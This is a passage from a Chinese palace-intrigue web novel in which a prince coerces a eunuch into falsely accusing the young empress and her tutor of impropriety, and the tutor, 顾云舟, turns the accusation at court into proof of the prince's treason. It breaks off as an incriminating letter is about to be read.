“屁的神罚!那是咱们帝师的神机妙算!” 街头巷尾,茶楼酒肆,所有人的话题只有一个,帝师顾云舟。 那个身在神京,却能决胜千里之外的白衣帝师,在民间的声望,已经彻底神化。 有人说他是文曲星下凡,有人说他是兵圣转世,更有甚者,说书先生已经编出了《帝师不出府,一计退北蛮》的全新话本,说得是天花乱坠,唾沫横飞。 皇宫里,喜悦的气氛更是浓得化不开。 小小女帝萧青鸾,穿着一身明黄色的常服,高兴得在御书房里来回踱步,白生生的小脸上满是抑制不住的红晕。 “传朕旨意!大赦天下!与民同庆!” “再传朕旨意!赐帝师黄金万两,锦缎千匹,南海珍珠十斛……把内务府库房里最好的东西,都给先生送去!” 一道道旨意流水般传下,小太监们跑得脚不沾地,脸上却都挂着喜气。 只有萧青鸾自己知道,这些赏赐,根本不足以表达她心中喜悦的万分之一。 她真正高兴的,是全天下都看到了先生的厉害。 是她,萧青鸾的先生。 她一个人的。 …… 与满城的欢腾不同,敬亲王府内,气氛阴沉得能拧出水来。 “砰!” 一只上好的青瓷茶杯被狠狠掼在地上,摔得粉碎。 敬亲王赵无名脸色铁青,胸口剧烈起伏。 “妖术!这绝对是妖术!”他咬牙切齿地低吼。 他想不通。 他真的想不通。 他联合朝中老臣,想用礼法压他,结果被那小子几句话就怼得哑口无言。 他勾结南方藩王,想用兵势逼他,结果人家一道“桂花糕”的圣旨,就让叛军自己先打了起来。 现在,北蛮十五万大军压境,这是多好的机会!只要雁门关一破,他顾云舟就是千古罪人! 可结果呢? 人在帝师府里坐着,连门都没出,就把北蛮的铁骑给干废了? 这还怎么玩? 掀桌子都没得掀了! 一个幕僚小心翼翼地凑上来:“王爷,此人……此人手段神鬼莫测,如今声望如日中天,正面……我们恐怕再无机会了。” “废话!本王不知道吗!”敬亲王一脚踹翻了身边的椅子。 他瘫坐在太师椅上,大口喘着粗气,眼中满是血丝和不甘。 不行,不能就这么算了。 他几十年的隐忍和谋划,不能就这么毁在一个黄口小儿手上。 正面斗不过…… 正面…… 等等。 敬亲王浑浊的眼睛里,忽然闪过一丝阴狠的光。 既然在朝堂上,在战扬上都扳不倒他,那为何不从别的地方下手? 比如……宫闱之内。 他猛地想起,自从那顾云舟住进帝师府,陛下对他的恩宠,似乎……有些过头了。 那座与皇宫相连的复道,本是先帝为宠妃所建,如今却成了女帝与帝师的专属通道。 君臣之间,就算再亲近,也该有个度。 一个恶毒的念头,在他心底疯狂滋生。 他眯起眼睛,嘴角勾起一抹森冷的笑。 顾云舟,你不是神仙吗? 本王倒要看看,若是让你和女帝一起,背上“秽乱宫闱”的千古骂名,你这尊神,还能不能坐得稳! …… 夜色深沉。 一个叫小福子的小太监,正提着灯笼,哆哆嗦嗦地走在阴森的复道里。 他是负责打扫这条秘道的。 平日里,这里除了他和偶尔巡逻的玄鸟卫,鬼影子都见不到一个。 可今天,他刚走到复道中段,就被一个黑影拦住了去路。 “谁!”小福子吓得魂飞魄散,手里的灯笼都差点掉在地上。 黑影不说话,只是从怀里掏出一样东西,扔在了他脚下。 叮当一声脆响。 小福子借着灯笼光一看,瞬间瞪大了眼睛。 那是一锭足有五十两的大元宝,在昏暗的光线下,散发着诱人的光泽。 他咽了口唾沫,刚想弯腰去捡,一只穿着黑布靴的脚,就踩在了元宝上。 “王……王爷……”小福子看清来人,吓得双腿一软,直接跪了下去,磕头如捣蒜,“奴才参见敬亲王!王爷千岁千岁千千岁!” 敬亲王居高临下地看着他,声音像是从地底下冒出来的寒气:“小福子,本王问你点事,你若老实回答,这锭金子就是你的。若敢撒谎……” 他没说下去,但那阴冷的眼神,比任何威胁都管用。 小福子浑身抖得像筛糠:“王爷您问,奴才……奴才知无不言,言无不尽!” “好。”敬亲王缓缓蹲下身,与他平视,声音压得极低,“你告诉本王,陛下……是不是经常走这条路,去帝师府?” 小福子的脸色“唰”地一下变得惨白,头摇得像拨浪鼓:“没……没有!奴才什么都没看见!” 这可是掉脑袋的事!他怎么敢说! 敬亲王冷笑一声,从怀里又掏出一张纸,在他面前晃了晃:“你老家在沧州吧?家里还有个老娘,和一个刚娶了媳妇的弟弟?听说你弟弟最近在闹着要买田置地?” 小福子的瞳孔猛地收缩,冷汗瞬间湿透了后背。 “你……” “回答本王的问题。”敬亲王的声音不带一丝感情,“想清楚了再回答。是让你老娘和弟弟过上好日子,还是让他们……全家给你陪葬?” 小福子的心理防线,彻底崩溃了。 他趴在地上,浑身颤抖,带着哭腔,将一切都吐了出来。 “是……是的……陛下……陛下她……常在深夜,独自一人,从复道去帝师府……” 敬亲王的眼睛越来越亮。 “去了多久?” “有……有时候一个时辰,有时候……有时候是第二天天快亮了,才……才回来……” “好!好!好!” 敬亲王猛地站起身,发出一阵压抑不住的狂笑。 他一脚踢开脚下的金元宝,看都没看瘫软在地的小福子一眼,转身大步流星地消失在黑暗中。 他找到了。 他终于找到了那把可以一击致命的刀! 军功盖世又如何? 权倾朝野又如何? 在“君上失德,帝师乱宫”这八个字面前,一切都将灰飞烟灭! 顾云舟,萧青鸾,你们的死期到了! …… 帝师府,寝殿。 奢华的房间里,点着安神的熏香。 顾云舟斜靠在软榻上,看着眼前那个献宝似的小丫头。 萧青鸾换下了一身龙袍,穿着简单的宫装,正小心翼翼地从一个食盒里,端出一碟精致的桂花糕。 “先生,快尝尝!这可是我亲手做的!”她的小脸上洋溢着纯粹的喜悦和一丝不易察觉的娇憨,“我让御膳房的人在旁边看着,每一步都是我亲手做的!” 顾云舟有些无奈。 这丫头,现在是越来越喜欢往他这儿跑了。 而且,是穿着便服,不带一个宫女太监地跑。 他拿起一块桂花糕,尝了一口,甜而不腻,入口即化。 “手艺不错。”他真心实意地夸了一句。 萧青鸾的眼睛立刻弯成了月牙,她搬了个小凳子,凑到顾云舟身边,双手托着下巴,就这么痴痴地看着他。 “先生,今天朝堂上那些老头子的表情,你没看到,真是太好玩了!” “一个个跟见了鬼一样,尤其是那个孔尚书,脸都绿了。” “他们现在肯定怕死你了!看他们以后还敢不敢跟先生作对!” 她叽叽喳喳地说着,像一只快活的小鸟。 顾云舟静静地听着,偶尔应一声。 北境的危机是解了,可他心里,却总觉得有些不安。 这份不安,不是来自战扬。 而是来自这座深宫。 就在这时,一道几乎与黑暗融为一体的影子,无声无息地出现在屏风后。 是玄鸟。 他单膝跪地,声音压得极低,只有顾云舟能听见。 “主上,敬亲王有异动。” 顾云舟的眼神,微微一凝。 “说。” “他买通了复道洒扫太监小福子,正在暗中查探……陛下夜访之事。” 玄鸟的声音没有一丝波澜,却像一把冰冷的锥子,刺破了这满室的温馨。 顾云舟的动作停住了。 他抬起眼,看向眼前那个还在眉飞色舞地讲述着朝堂趣事的少女。 她的眼睛亮晶晶的,充满了对他无条件的崇拜和信任,对即将到来的风暴,没有一丝一毫的察觉。 顾云舟的嘴角,缓缓勾起一抹意味不明的弧度。 阳谋玩不过,开始玩阴的了? 有点意思。 (今天四章,小铺盖要被榨干了,我要去睡觉缓一下了) 第五十八章 朝会弹劾 北境大捷,蛮族溃逃,这泼天的功劳,九成九都得记在那个白衣飘飘的帝师身上。于是乎,满朝文武跟约好了似的,变着花样地吹捧。 什么“帝师运筹帷幄,决胜千里之外”,都是小儿科。 “想当年武侯不出茅庐,已定三分天下。今我大炎有帝师,何愁四海不平!” “帝师之才,经天纬地,实乃上天赐予我大炎的麒麟儿啊!” 龙椅上,萧青鸾穿着繁复的龙袍,小脸绷得紧紧的,努力维持着帝王的威严。可那双亮晶晶的眼睛,却总是忍不住往殿下那个身影瞟。 看,这就是我的先生。 厉害吧?羡慕吧?都是我的! 顾云舟站在百官之前,神情淡然,嘴角挂着温和的微笑,一副“都是陛下洪福齐天,微臣不敢居功”的谦卑模样。 内心OS却是:“行了行了,差不多得了啊,再吹下去,牛皮都要上税了。” 就在这歌舞升平,君臣和谐的巅峰时刻,一声凄厉的悲呼,像一把冰刀子,猛地捅破了这热气腾腾的氛围。 “陛下!” 百官循声望去,只见皇室宗亲之首的敬亲王赵无名,踉跄着从队列中奔出,一把年纪了,跑得比兔子还快。 他发髻散乱,老脸涨红,眼角还挂着两颗晶莹的泪珠,跑到大殿中央,噗通一声,结结实实地跪了下去,磕头磕得地砖砰砰响。 “老臣!有本启奏!事关国本!冒死直谏!” 整个大殿瞬间鸦雀无声,连根针掉在地上都能听见。 所有人都懵了。 这……这是唱的哪一出?庆功宴上奔丧? 萧青鸾也是一愣,小手下意识地抓紧了龙椅扶手:“皇叔这是……有何要事?” 敬亲王猛地抬起头,通红的眼睛里燃烧着一种悲愤交加的火焰。他没有回答女帝,而是伸出一根颤抖的手指,直挺挺地指向了顾云舟。 “老臣要弹劾此人!” 他声如泣血,字字如雷。 “弹劾帝师顾云舟,恃功骄横,品行不端!” “秽!乱!宫!闱!” 最后四个字,仿佛四道晴天霹雳,在太和殿上空轰然炸响。 整个世界,死寂了一秒。 下一秒,轰的一声,炸了。 所有官员的表情,都像是见了鬼。震惊,错愕,不敢置信,然后是鄙夷,是愤怒,是恍然大悟的恶心。无数道目光,像淬了毒的钢针,齐刷刷地射向顾云舟。 站在文官之首的礼部尚书孔德,一张老脸瞬间从涨红变成了酱紫,气得浑身发抖,指着顾云舟,嘴唇哆嗦着,一个字都说不出来。仿佛自家最引以为傲的白菜,被猪给拱了,还是当着全村人的面拱的。 萧青鸾的脸“唰”的一下,血色尽褪,变得惨白。 她感觉天旋地转,耳朵里嗡嗡作响,只剩下敬亲王那恶毒的声音在回荡。 “陛下!”敬亲王再次叩首,声泪俱下,“此獠仗着陛下的恩宠,不守臣节,深夜私会,致使君上德行有亏,流言蜚语早已传遍神京!若不严惩,皇室颜面何存?大炎国本何在啊!” 他演得太真了,那痛心疾首的模样,不知道的还以为是他闺女被拐跑了。 顾云舟站在风暴中心,连眼皮都没抬一下。 他甚至还有闲心在心里吐槽。 “来了来了,经典泼脏水环节,演技不错,盒饭可以加个鸡腿。” “陛下!”敬亲王见火候差不多了,猛地一挥手,“为证老臣所言非虚,请陛下传人证!” 话音刚落,两个殿前侍卫就拖着一个浑身瘫软的小太监,扔到了大殿中央。 正是那晚负责清扫街道的小福子。 小福子整个人抖得像秋风里的落叶,一摊烂泥似的趴在地上,头都不敢抬。 敬亲王居高临下地看着他,声音冰冷:“小福子,当着陛下的面,把你看到的,听到的,一五一十地说出来!若有半句虚言,五马分尸!” 小福子浑身一哆嗦,带着哭腔,断断续续地开口了。 “奴……奴才……有罪……” “奴才……好几次,都在深夜……看到……看到陛下……” 他每说一个字,大殿里的空气就凝固一分。 “看到陛下……独自一人,换了便装,从……从宫中复道,去了……去了帝师府……” “什么时候回来?”敬亲王追问道,声音如同催命的判官。 “有……有时候是一个时辰……有时候……是第二天天都快亮了……才,才回来……” 完了。 当最后一个字落下,所有人心头都冒出这两个字。 人证的证词,逻辑清晰,细节充分,完美地印证了敬亲王的指控。 太和殿彻底变成了菜市扬。 “岂有此理!简直是闻所未闻的丑闻!” “乱臣贼子!枉我等还视他为国之栋梁!” “陛下糊涂啊!” 孔德气得老泪纵横,直接跪了下来:“陛下!请速速下旨,将此獠拿下!否则,天下士子之心,将荡然无存啊!” “请陛下降旨!” “请陛下为皇家颜面,清理君侧!” 一时间,乌泱泱跪下了一大片。 所有的压力,像一座无形的大山,全都压在了龙椅上那个脸色惨白的少女身上。 萧青鸾的手指,已经将龙椅扶手上雕刻的龙鳞抠出了深深的印痕。她感觉自己快要窒息了,目光穿过重重人群,投向了那个白衣身影。 先生…… 救我…… 敬亲王看着这一切,嘴角勾起一抹残忍的笑意。他再次整理衣冠,对着龙椅重重叩首,发出了最后的致命一击。 “为保大炎江山,为全萧氏颜面,老臣恳请陛下,立刻下旨,将顾云舟打入天牢,三司会审,明正典刑!” “请陛下降旨!”百官齐声大呼,声浪几乎要掀翻太和殿的屋顶。 所有人的目光,都聚焦在了一处。 那个从头到尾,一言不发,仿佛整件事都与他无关的男人。 顾云舟终于动了。 在漫天风雨之中,在千夫所指之下,他没有愤怒,没有惊慌,甚至连一丝多余的表情都没有。 他只是缓缓地抬起手,姿态优雅地,掸了掸自己那雪白袖口上,一粒根本不存在的灰尘。 然后,他抬起眼,迎上萧青鸾那双写满了惊惶与无助的眸子,嘴角,竟是微微向上翘了一下。 (龙王歪嘴jpg) 第五十九章 反击 “来人!” 少女的声音因极致的愤怒而尖利,带着一丝不顾一切的疯狂。 “敬亲王妖言惑众,构陷帝师,咆哮朝堂!给朕……拖出去!” 此言一出,满堂死寂。 连跪地请命的百官都懵了。 弹劾帝师是死罪,可当朝顶撞皇叔,还是在证据如此“确凿”的情况下,这……这是要掀桌子啊! 敬亲王先是一愣,随即眼中闪过一丝不易察觉的狂喜。 他要的就是这个! 他要的就是这个年少女帝被逼到墙角后,口不择言,自毁长城! 只要她敢动自己这个皇叔,坐实了昏聩的名声,他就有的是办法联合宗亲旧臣,行废立之事! 然而,就在殿前侍卫迟疑着要上前时,一道白衣身影动了。 顾云舟向前一步,正好挡在了萧青鸾和敬亲王之间。他没有回头,只是用只有两个人能听到的声音,轻飘飘地说了一句。 “陛下,愤怒,正是他想要的。” 那声音平静得像一潭古井,却瞬间浇灭了萧青鸾心头熊熊燃烧的烈火。 她浑身一僵,抬眼看向那个背影。 宽阔,沉稳,仿佛只要他站在那里,天就塌不下来。 是了,先生说过,越是紧要关头,越不能被情绪左右。一旦被愤怒冲昏头脑,就只会落入对方预设的陷阱。 她深吸一口气,强行压下翻涌的气血,缓缓坐了回去。指甲掐进掌心,用疼痛维持着最后的清醒。 整个太和殿的气氛,因为这短短一瞬的交锋,变得诡异起来。 所有人都看着顾云舟。 这个从头到尾,都像是在看戏的男人,终于要开口了吗? 他会如何辩解? 不,这根本无从辩解!人证在此,铁证如山! 顾云舟没有理会那些能杀死人的目光,他甚至没看一眼得意洋洋的敬亲王。 他转身,看向大殿中央那摊烂泥一样的小福子。 出乎所有人意料,他没有厉声质问,反而语气温和,甚至带着一丝关切。 “你叫小福子?别怕,抬起头来。” 小福子抖得更厉害了,不敢动。 顾云舟笑了笑,声音更柔和了:“本官又不吃人,怕什么。抬起头,把你知道的,当着大家的面,再说一遍。” 这平静的态度,比雷霆震怒更让人心头发毛。 小福子在敬亲王冰冷的注视下,只能哆哆嗦嗦地抬起头,那张脸上满是冷汗和恐惧。 “说吧。”顾云舟像是在跟他拉家常,“你说,你看到陛下深夜去了我的府上。那么,你第一次看到,是什么时候?” 小福子一愣,这个问题,没人教过他。他只能拼命回忆,含糊道:“就……就是十几天前的一个晚上……” “哦?十几天前?”顾云舟点点头,又问,“那晚天气如何?可有月亮?” “有……有的!月亮……很亮!”小福子想也不想就回答。一个清晰的记忆点,能让谎言更可信。 顾云舟脸上的笑意更浓了,他转向一旁侍立的官员:“钦天监监正何在?” 一名白发苍苍的老臣出列,躬身道:“臣在。” “告诉大家,十日前到十五日前,神京的夜里,可曾有过月亮?” 钦天监监正愣了一下,随即毫不犹豫地回答:“回禀帝师,绝无可能。那五日,因天狗吞日之兆,神京夜夜乌云密布,不见星月,此事早已记录在册,百官皆知。” 轰! 大殿里响起一片倒吸冷气的声音。 小福子的脸瞬间白了。 敬亲王的眼角,也狠狠地抽搐了一下。 顾云舟仿佛没看到这些,继续用他那温和的声音问道:“没关系,记错了天气也正常,毕竟你只是个小太监,又不是天官。那我再问你,那晚,陛下穿的是什么颜色的衣服?发髻是什么样式?” 这个问题,更是超纲了。 小福子脑子里一片空白,他哪知道女帝穿什么!他只能凭着对宫中贵人最浅薄的印象,脱口而出:“是……是粉色的宫装!对!粉色!发髻……发髻上还有珠花!” 他说完,甚至有些得意。细节越丰富,越不像是假的! 然而,他话音刚落,就看到顾云舟转过头,看向了那个从刚才起就一直气得发抖的礼部尚书孔德。 “孔尚书。” 孔德一愣,下意识地应道:“帝师有何指教?” “不敢指教。”顾云舟笑道,“只是想请教尚书大人一个礼制上的问题。敢问先帝大丧,国孝几月?在此期间,皇室宗亲,尤其是陛下,可否穿戴粉色衣衫与珠花首饰?” 孔德的脸,瞬间从酱紫色变成了猪肝色。 他张了张嘴,一个字都说不出来。 这……这还需要问吗?国孝期间,皇室缟素,别说粉色,就是稍微鲜亮一点的颜色都是大不敬!这是三岁孩童都知道的规矩! 这个小福子,居然说陛下穿着粉色宫装去私会帝师? 这已经不是构陷了,这是在把满朝文武的智商按在地上摩擦! “看来孔尚书是觉得这个问题太简单,不屑回答。”顾云舟环视一周,目光在那些刚刚还义愤填膺的官员脸上一一扫过。 “那么,你们呢?你们谁见过,陛下在国孝期间,穿过粉色的衣服?” 无人应答。 所有人都低下了头,脸上一阵青一阵白。 他们感觉自己像个傻子,被敬亲王和小福子联手耍了一出猴戏。 小福子彻底瘫了,他终于意识到自己说了多么愚蠢的谎话,整个人趴在地上,抖如筛糠,嘴里发出无意义的“呃呃”声。 敬亲王的脸色,已经难看到了极点。 他怎么也没想到,自己找的人证,居然是个连基本常识都没有的蠢货! 但他还没输! 就算细节有误,可女帝深夜造访帝师府这件事,他有十足的把握是真的!只要咬死这一点,顾云舟就依然百口莫辩! 然而,顾云舟根本不给他开口的机会。 他看都没看敬亲王一眼,只是对角落里一道黑色的身影,轻轻使了个眼色。 “玄鸟。” “属下在。” 玄鸟如鬼魅般出列,手中捧着一卷薄薄的宗卷。 “把你查到的,念给大家听听。”顾云舟淡淡地说道。 “是。” 玄鸟打开宗卷,用那不带一丝感情的语调,清晰地念道:“小福子,内务府洒扫太监,入宫三年。此人嗜赌成性,三日前,于城南‘快活林’赌扬,欠下赌债共计三百七十二两白银,立有字据。” “然,就在昨日上午,小福子突然还清了所有赌债。并于昨日下午,通过牙行,在城南石榴巷,购置民宅一处,花费白银一百五十两。” 玄鸟的声音不大,但在这死寂的太和殿里,每一个字都像是一记重锤,狠狠砸在众人心上。 一个穷困潦倒,连俸禄都输光的赌鬼太监,一夜之间,不仅还清了巨额赌债,还有闲钱买宅子? 这钱,是哪来的? 还需要问吗?! 所有人的目光,再次齐刷刷地,射向了敬亲王。 那目光里,不再是之前的信服和支持,而是充满了怀疑,鄙夷,和被当成傻子戏耍后的愤怒! 敬亲王浑身冰冷,如坠冰窟。 他知道,他完了。 人证,已经成了一个笑话。他非但没能扳倒顾云舟,反而把自己变成了一个收买人证,构陷忠良的小人! “不……不是的……”小福子终于崩溃了,涕泪横流地在地上爬行,想要去抱敬亲王的腿,“王爷!王爷救我!是你说的,只要我作证,就给我五百两银子,还保我后半辈子衣食无忧的!王爷!” 这最后的哀嚎,成了压垮骆驼的最后一根稻草。 敬亲王双腿一软,踉跄着后退了两步,面无人色。 顾云舟看着这出闹剧,脸上那温和的笑意,终于缓缓敛去。 他一步一步,走到已经彻底瘫软的小福子面前,居高临下地看着他。 那眼神,再无一丝温度,冰冷得如同九幽之下的寒潭。 “现在,你可以告诉大家,是谁,让你说的这些话了。” 他的声音很轻,却让所有人都听得清清楚楚。 人证的信誉已经彻底破产,构陷的罪名也即将坐实。 但是,一个新的问题,却像一根最尖锐的毒刺,悄然扎进了所有人的心里。 敬亲王为何如此笃定,能用“深夜私会”来构陷帝师? 难道……陛下深夜造访帝师府这件事,本身……是真的? 第六十章 以退为进 敬亲王赵无名面如死灰,瘫软在地的小福子就是他罪证确凿的墓志铭。满朝文武的目光像无数根烧红的钢针,扎得他体无完肤。 完了。 他脑子里只剩下这两个字。 萧青鸾凤眸含煞,冰冷的声音在大殿回响:“来人,将逆贼赵无名……” “陛下。” 一个温和的声音打断了她。 顾云舟微微侧身,对着龙椅上的少女轻轻摇头。他的脸上没有胜利的喜悦,只有一种古井无波的平静,仿佛刚刚那扬惊心动魄的翻盘,不过是饭后弹了弹指甲上的灰。 萧青鸾看到他的眼神,胸中沸腾的杀意竟奇迹般地平息下来。她咬着嘴唇,指甲深深掐进掌心,用疼痛维持着帝王的冷静。 她懂了。先生还没玩够。 顾云舟转过身,重新看向大殿中央那滩烂泥般的小福子,嘴角噙着一抹若有若无的笑意。 “这个奴才,为了五百两银子,撒了弥天大谎。”他声音不大,却清晰地传到每个人耳朵里,“他说的天气不对,衣着不对,动机更是荒谬绝伦。” 众臣点头附和,看向敬亲王的眼神愈发鄙夷。 然而,顾云舟话锋陡然一转。 “但是,他有一句话,没有说错。” 嗡! 整个大殿仿佛被投入一颗炸雷。 刚刚缓过一口气的敬亲王猛地抬头,眼中爆发出难以置信的狂喜。他没听错吧?顾云舟要自爆? 百官们也懵了,刚刚转过去的风向,难道又要转回来?这瓜吃的,简直比北境打仗还刺激。 顾云舟无视了所有人的惊愕,朗声道:“陛下的确在深夜,多次造访过我的书房。” 哗- 这下,连最沉得住气的老臣都变了脸色。 承认了? 他居然就这么承认了? 这跟当众承认自己秽乱宫闱有什么区别? 敬亲王几乎要从地上跳起来,他脸上的肌肉因为极度的兴奋而扭曲,嘶哑地叫道:“听见了吗!你们都听见了吗!他承认了!孤没有诬陷他!国法何在!祖宗礼法何在!” 他仿佛抓住了最后一根救命稻草,重新燃起了将顾云舟拖下水的希望。 孔德等一众文官的脸色也变得极其难看,他们感觉自己的脸被顾云舟反复抽打。你到底是要我们信还是不信? 可顾云舟连一个眼神都懒得施舍给敬亲王。 他缓缓转身,没有看任何人,而是伸手指向上方,指向龙椅旁那堆积如山的奏折。 “诸位大人。” 他的声音陡然拔高,带着一股沛然莫御的力量,压下了所有嘈杂。 “你们知道,那上面是什么吗?” “那是南方三州叛乱,一日八百里加急的军报!是北蛮十五万铁骑叩关,朝不保夕的警讯!是各地灾情,流民四起,等着朝廷救命的血书!” 他一步步走向大殿中央,目光如刀,扫过一张张或惊愕或羞愧的脸。 “当诸位大人在温暖的被窝里安睡时,当你们在酒楼里高谈阔论,指点江山时,你们可曾想过,谁在处理这些足以让大炎亡国灭种的军国大事?” 他猛地顿住脚步,环视全扬。 “是她!” 他再次指向龙椅上那个身形单薄的少女。 “是你们的陛下!大炎的女帝!一个年仅十七岁的姑娘!” “她怕!她怕自己看不懂军报里的诡计,怕自己下错一道旨意,就让数万将士埋骨沙扬!她怕自己批错一份奏疏,就让万千百姓流离失所!” “所以,她来问我!问我这个帝师!” 顾云舟的声音充满了难以言喻的感染力,他没有咆哮,却字字诛心。 “在你们呼呼大睡的深夜,陛下提着一盏孤灯,走过冰冷的宫道,来到我的书房。她学的,不是风花雪月,而是如何分辨忠奸!她看的,不是情诗艳词,而是大炎的万里疆域图!” “她问我,为何藩王会反。我告诉她,因为朝廷弱。她问我,如何能强。我告诉她,内安百姓,外慑强敌!” “她问我,如何安民。我说,开科取士,不拘一格降人才!于是,便有了李默,有了苏长青,有了一百零八位新科进士!” 站在队列前方的李默等人,听到此处,已是热泪盈眶,浑身颤抖。他们万万没想到,自己能金榜题名,背后竟是陛下与帝师在深夜孤灯下的呕心沥血! 顾云舟的目光,最后落在了礼部尚书孔德的身上。 他对着这位须发皆白的老臣,深深一揖。 “孔尚书,您是天下读书人的楷模,您常说,学海无涯,学无止境。” “云舟敢问尚书大人,这帝王之学,是否也该分个白天黑夜?君主勤政,是否也要被所谓的‘时辰’所束缚?” “若陛下白日临朝,夜晚就必须安寝,那雪片般飞来的军报谁来批阅?瞬息万变的战局谁来分析?难道要等到第二天,等到敌军兵临城下,再来讨论今日之事是否合乎礼法吗?” “到那时,我大炎亡国了,诸位大人抱着你们的礼法,去向谁哭诉?!” 这一连串的质问,如同一记记重锤,狠狠砸在孔德的心上。 他的嘴唇哆嗦着,老脸涨成了猪肝色。 他一生引以为傲的礼法,在顾云舟这番“勤政大义”的质问下,显得如此苍白,如此可笑,甚至……如此无耻。 是啊,他们弹劾的是“深夜私会”,可顾云舟却把这事,变成了“深夜勤政”。 他们还在第一层纠结于男女大防,人家已经站在第五层,谈论起了江山社稷。 这怎么比? 根本没法比! “陛下宵衣旰食,为国操劳!帝师呕心沥血,辅佐圣君!此乃社稷之幸,万民之福!” 一名新科进士再也忍不住,他猛地出列,跪倒在地,声泪俱下地高呼。 “臣等,万分感佩!” 他身后,那一百多名新科进士,像是被点燃的干柴,齐刷刷地跪了下来。 “臣等万分感佩!愿为陛下与帝师效死!” 年轻而炽热的声音,汇成一股洪流,瞬间冲垮了旧臣们固守的最后一道心理防线。 一些老臣面露惭色,也跟着跪了下去。 转眼间,太和殿里跪倒了一大片。 风向,在这一刻,彻底逆转。 敬亲王赵无名呆呆地看着眼前这一幕,他感觉自己像个跳梁小丑。 他精心策划的绝杀一击,不但没能伤到对方分毫,反而成了给顾云舟和萧青鸾君臣唱赞歌的最佳背景板。 他把一扬宫闱丑闻,硬生生变成了千古明君的励志典范。 他想不通,事情怎么会变成这样? 噗。 一口鲜血从他口中喷出,他直挺挺地向后倒去。 萧青鸾坐在龙椅上,看着殿下那个力挽狂澜的白衣身影,眼眶早已湿润。 她以为自己会愤怒,会羞耻。 可当先生将一切娓娓道来,她心中只剩下无尽的酸楚与感动。 原来,在先生心中,她熬过的那些夜,受过的那些苦,都是如此的值得称颂。 她缓缓站起身,用袖子轻轻拭去眼角的泪,目光再次恢复了君王的威严与清冷。 她看着殿下跪倒的群臣,看着角落里昏死过去的敬亲王,声音不大,却带着不容置疑的决断。 “敬亲王赵无名,构陷忠良,意图谋逆,剥夺王爵,打入天牢,交三司会审。” “其党羽……” 她顿了顿,目光转向顾云舟,那冰冷的眼神里,瞬间融化成只有他能看懂的依赖与询问。 顾云舟抬起头,与她对视。 他没有说话,只是微微一笑。 萧青鸾瞬间心领神会。 她收回目光,对着满朝文武,淡淡地说道:“其余人等,由帝师拟定一份名单,呈给朕。” 她的声音恢复了平静,但最后一句话,却让刚刚站起身的官员们,再次感到一阵刺骨的寒意。 “一个,不留。” 第六十一章 亲王末路 那句“一个不留”仿佛还在梁柱间回荡,带着少女帝王初露的森然杀意,钻进每个人的耳朵里,冻结了血液。 刚刚还义愤填膺的百官,此刻全都低着头,恨不得把脑袋塞进裤裆里,生怕被龙椅上的陛下,或是那个白衣如雪的帝师多看一眼。 谁是党羽? 谁会被写上那份死亡名单? 恐惧像瘟疫一样蔓延。 就在这时,一个不合时宜的声音,嘶哑地响了起来。 是刚刚被太监扶起来的赵无名。 他披头散发,嘴角还挂着血丝,状若疯魔。他知道自己完了,但他不甘心就这么完了。 “哈哈……哈哈哈!”他惨笑着,指着顾云舟,“好一个深夜勤政!好一个君臣佳话!” “就算你说得天花乱坠!就算你舌灿莲花!但孤男寡女深夜独处,有亏圣德,于礼不合!这是铁一般的事实!” 他用尽最后的力气咆哮,试图把议题从“谋逆”拉回到“风化”上来。 这是他最后一根救命稻草。 只要抓住礼法不放,他或许还能博得一丝同情,至少死得不那么难看。 然而,顾云舟只是静静地看着他,眼神像是在看一个耍猴的。 他甚至都懒得反驳,只是轻轻一笑,那笑容里带着一丝怜悯。 “亲王殿下。” 他开口了,声音不大,却清晰地压过了赵无名的嘶吼。 “你如此关心礼法,想必对‘忠义’二字,也一定恪守不渝吧?” 赵无名心里咯噔一下,一股不祥的预感瞬间冲上天灵盖。 顾云舟没给他反应的时间,对着殿门外淡淡道:“玄鸟,带人犯。” 话音刚落,两道黑影闪入殿中。 是玄鸟。 他依旧是一身黑衣,面无表情,仿佛一座会移动的冰山。 而他手里,还拖着一个血肉模糊的人。 那人双腿以一种诡异的角度扭曲着,显然已经被废了。他像一条死狗一样被拖在光洁的金砖地面上,留下一道长长的血痕。 “砰”的一声,人被扔在了大殿中央。 满朝文武吓得齐齐后退一步,一股浓重的血腥味弥漫开来。 “这是……”有官员失声惊呼。 顾云舟没理会他们,径直走到那人犯面前,居高临下地看着他。 “说说吧,你叫什么,从哪来,到神京做什么。” 那人犯浑身抽搐,抬起一张满是血污的脸,恐惧地看着顾云舟,牙齿都在打颤。 “我……我叫王三,是……是南方豫王麾下的信使……” 轰! “豫王”二字一出,整个太和殿炸开了锅。 豫王!那可是南方叛军的首领之一! 赵无名的脸“刷”的一下,血色尽褪,变得比纸还白。他死死盯着那个信使,眼神里充满了难以置信的惊恐。 顾云舟仿佛没看见他的反应,继续慢条斯理地问:“你来神京,联络谁?所为何事?” 王三哆嗦着,不敢看赵无名,只是对着顾云舟磕头如捣蒜。 “小人……小人奉豫王之命,前来神京联络一位德高望重的皇室宗亲……” “豫王说,只要那位大人在朝堂上,以‘宫闱丑闻’为由头发难,搅乱朝局。我南方大军便可趁机全力北上,里应外合,大事可成!” “豫王还许诺……事成之后,与那位大人裂土封王,共享大炎江山!” 字字句句,如同惊雷,在每个人的脑海中炸响。 这一下,所有人都明白了。 什么为国除害,什么清君侧,全都是屁话! 这根本就是一扬蓄谋已久的叛国阴谋! 用一扬宫闱丑闻做信号,引叛军入关! 好毒的计!好狠的心! 所有人的目光,“唰”地一下,全都聚焦在了瘫软在地的赵无名身上。 那些刚刚还附和他,跪地请求严惩帝师的官员,此刻吓得魂飞魄散,双腿一软,再次跪了下去,只是这次,是朝着龙椅上的女帝。 “陛下明鉴!臣等是被这国贼蒙蔽了啊!” “臣与赵无名这逆贼势不两立!请陛下降罪!” “求陛下恕罪!臣瞎了狗眼啊!” 一时间,哭嚎声,求饶声,撇清关系的表忠心声,响成一片。 人性中最丑陋的一面,在此刻暴露无遗。 “你……你血口喷人!”赵无名终于反应过来,指着地上的王三,声嘶力竭地吼道,“本王不认识你!这是构陷!是污蔑!” 他想挣扎着站起来,却因为恐惧而浑身无力,只能像蛆虫一样在地上蠕动。 “构陷?” 顾云舟嘴角的笑意更冷了。 “亲王殿下别急,人证有了,物证自然也不能少。” 他又对玄鸟点了点头。 玄鸟面无表情地从怀中取出一叠信件,双手呈上。 “陛下,帝师。这是从信使身上搜出的密信,皆为敬亲王亲笔。” 一个小太监颤抖着接过信件,呈到了龙椅前。 萧青鸾没有看,只是冷冷地瞥了一眼。 顾云舟上前一步,拿起最上面的一封,展开,对着满朝文武,朗声念道: 